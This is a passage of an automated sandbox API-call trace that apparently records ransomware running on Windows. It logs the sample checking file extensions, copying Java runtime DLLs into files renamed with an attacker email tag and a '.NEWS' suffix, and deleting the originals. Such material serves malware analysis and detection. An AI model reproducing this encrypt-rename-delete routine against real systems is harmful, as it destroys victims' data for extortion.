lpString2=".tlb") returned -1 [0089.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.300] lstrlenW (lpString=".1cd") returned 4 [0089.300] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.300] lstrlenW (lpString=".jpg") returned 4 [0089.300] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.300] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.300] lstrlenW (lpString="deploy.dll") returned 10 [0089.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.301] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=587840) returned 1 [0089.301] CloseHandle (hObject=0x380) returned 1 [0089.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0089.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.301] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.301] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.301] GetLastError () returned 0x0 [0089.301] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x8f840, lpOverlapped=0x0) returned 1 [0089.313] WriteFile (in: hFile=0x338, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x8f850, lpOverlapped=0x0) returned 1 [0089.324] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.324] WriteFile (in: hFile=0x338, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0089.324] SetEndOfFile (hFile=0x338) returned 1 [0089.324] CloseHandle (hObject=0x338) returned 1 [0089.324] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.324] SetEndOfFile (hFile=0x380) returned 1 [0089.329] CloseHandle (hObject=0x380) returned 1 [0089.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.330] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0089.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.330] lstrlenW (lpString=".doc") returned 4 [0089.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.330] lstrlenW (lpString=".docx") returned 5 [0089.330] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0089.330] lstrlenW (lpString=".pdf") returned 4 [0089.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.330] lstrlenW (lpString=".xls") returned 4 [0089.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.330] lstrlenW (lpString=".xlsx") returned 5 [0089.330] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0089.330] lstrlenW (lpString=".ppt") returned 4 [0089.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.330] lstrlenW (lpString=".zip") returned 4 [0089.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.330] lstrlenW (lpString=".rar") returned 4 [0089.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".bz2") returned 4 [0089.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.331] lstrlenW (lpString=".7z") returned 3 [0089.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString=".dbf") returned 4 [0089.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString=".1cd") returned 4 [0089.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString=".jpg") returned 4 [0089.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString=".doc") returned 4 [0089.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".docx") returned 5 [0089.331] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0089.331] lstrlenW (lpString=".pdf") returned 4 [0089.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".xls") returned 4 [0089.331] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".xlsx") returned 5 [0089.331] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0089.331] lstrlenW (lpString=".ppt") returned 4 [0089.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.331] lstrlenW (lpString=".zip") returned 4 [0089.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".rar") returned 4 [0089.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.331] lstrlenW (lpString=".bz2") returned 4 [0089.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.331] lstrlenW (lpString=".7z") returned 3 [0089.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.332] lstrlenW (lpString=".dbf") returned 4 [0089.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.332] lstrlenW (lpString=".1cd") returned 4 [0089.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0089.332] lstrlenW (lpString=".jpg") returned 4 [0089.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.332] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.332] lstrlenW (lpString="deployJava1.dll") returned 15 [0089.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.332] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=1026112) returned 1 [0089.332] CloseHandle (hObject=0x380) returned 1 [0089.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0089.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.333] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.333] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.714] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.739] GetLastError () returned 0x0 [0089.739] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xfa840, lpOverlapped=0x0) returned 1 [0089.761] WriteFile (in: hFile=0x36c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xfa850, lpOverlapped=0x0) returned 1 [0089.778] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.778] WriteFile (in: hFile=0x36c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0089.778] SetEndOfFile (hFile=0x36c) returned 1 [0089.778] CloseHandle (hObject=0x36c) returned 1 [0089.778] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.778] SetEndOfFile (hFile=0x380) returned 1 [0090.383] CloseHandle (hObject=0x380) returned 1 [0090.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.384] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0090.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.384] lstrlenW (lpString=".doc") returned 4 [0090.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString=".docx") returned 5 [0090.384] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.384] lstrlenW (lpString=".pdf") returned 4 [0090.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString=".xls") returned 4 [0090.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString=".xlsx") returned 5 [0090.384] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.384] lstrlenW (lpString=".ppt") returned 4 [0090.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.384] lstrlenW (lpString=".zip") returned 4 [0090.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString=".rar") returned 4 [0090.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.384] lstrlenW (lpString=".bz2") returned 4 [0090.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.384] lstrlenW (lpString=".7z") returned 3 [0090.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.384] lstrlenW (lpString=".dbf") returned 4 [0090.385] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.385] lstrlenW (lpString=".1cd") returned 4 [0090.385] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.385] lstrlenW (lpString=".jpg") returned 4 [0090.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.385] lstrlenW (lpString=".doc") returned 4 [0090.385] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString=".docx") returned 5 [0090.385] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.385] lstrlenW (lpString=".pdf") returned 4 [0090.385] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString=".xls") returned 4 [0090.385] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString=".xlsx") returned 5 [0090.385] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.385] lstrlenW (lpString=".ppt") returned 4 [0090.385] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.385] lstrlenW (lpString=".zip") returned 4 [0090.385] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString=".rar") returned 4 [0090.385] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.385] lstrlenW (lpString=".bz2") returned 4 [0090.385] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.385] lstrlenW (lpString=".7z") returned 3 [0090.385] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.386] lstrlenW (lpString=".dbf") returned 4 [0090.386] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.386] lstrlenW (lpString=".1cd") returned 4 [0090.386] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0090.386] lstrlenW (lpString=".jpg") returned 4 [0090.386] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.386] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.386] lstrlenW (lpString="instrument.dll") returned 14 [0090.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.386] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=123456) returned 1 [0090.386] CloseHandle (hObject=0x380) returned 1 [0090.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0090.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.387] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.387] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.387] GetLastError () returned 0x0 [0090.387] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1e240, lpOverlapped=0x0) returned 1 [0090.390] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1e250, lpOverlapped=0x0) returned 1 [0090.393] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.393] WriteFile (in: hFile=0x38c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0090.393] SetEndOfFile (hFile=0x38c) returned 1 [0090.393] CloseHandle (hObject=0x38c) returned 1 [0090.393] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.393] SetEndOfFile (hFile=0x380) returned 1 [0090.398] CloseHandle (hObject=0x380) returned 1 [0090.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.398] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString=".doc") returned 4 [0090.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString=".docx") returned 5 [0090.399] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.399] lstrlenW (lpString=".pdf") returned 4 [0090.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString=".xls") returned 4 [0090.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString=".xlsx") returned 5 [0090.399] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.399] lstrlenW (lpString=".ppt") returned 4 [0090.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString=".zip") returned 4 [0090.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString=".rar") returned 4 [0090.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.399] lstrlenW (lpString=".bz2") returned 4 [0090.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.399] lstrlenW (lpString=".7z") returned 3 [0090.399] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString=".dbf") returned 4 [0090.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString=".1cd") returned 4 [0090.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.399] lstrlenW (lpString=".jpg") returned 4 [0090.399] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString=".doc") returned 4 [0090.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString=".docx") returned 5 [0090.400] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.400] lstrlenW (lpString=".pdf") returned 4 [0090.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString=".xls") returned 4 [0090.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString=".xlsx") returned 5 [0090.400] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.400] lstrlenW (lpString=".ppt") returned 4 [0090.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString=".zip") returned 4 [0090.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString=".rar") returned 4 [0090.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.400] lstrlenW (lpString=".bz2") returned 4 [0090.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.400] lstrlenW (lpString=".7z") returned 3 [0090.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString=".dbf") returned 4 [0090.400] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString=".1cd") returned 4 [0090.400] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0090.400] lstrlenW (lpString=".jpg") returned 4 [0090.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.401] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.401] lstrlenW (lpString="j2pcsc.dll") returned 10 [0090.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0090.402] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=19008) returned 1 [0090.402] CloseHandle (hObject=0x380) returned 1 [0090.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0090.402] GetFileAttributesW (lpFileName="C:\\Program 